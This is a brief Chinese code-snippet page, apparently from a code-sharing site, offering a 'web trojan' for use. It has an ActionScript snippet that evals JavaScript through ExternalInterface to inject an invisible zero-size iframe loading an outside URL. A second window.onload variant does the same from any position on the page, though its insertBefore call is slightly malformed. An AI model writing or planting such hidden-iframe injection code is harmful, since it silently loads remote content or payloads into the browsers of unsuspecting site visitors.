Action script var lcx= "var O = document createElement( "iframe ");O src= "
// Action script...var lcx= "var O = document.createElement(\"iframe\");O.src=\"https://www.haodaima.com/newout.html\";O.width=0;O.height=0;document.body.appendChild(O);";
flash.external.ExternalInterface.call("eval", lcx);
以上封装的网马要放在body里。如果要放任意位置,采取以下代码:
复制代码
代码如下:window.onload =function()
{
var O = document.createElement('iframe');
O.src='https://www.haodaima.com/';
document.getElementsByTagName('head')[0].insertBefore(O);
document.body.appendChild(O);
}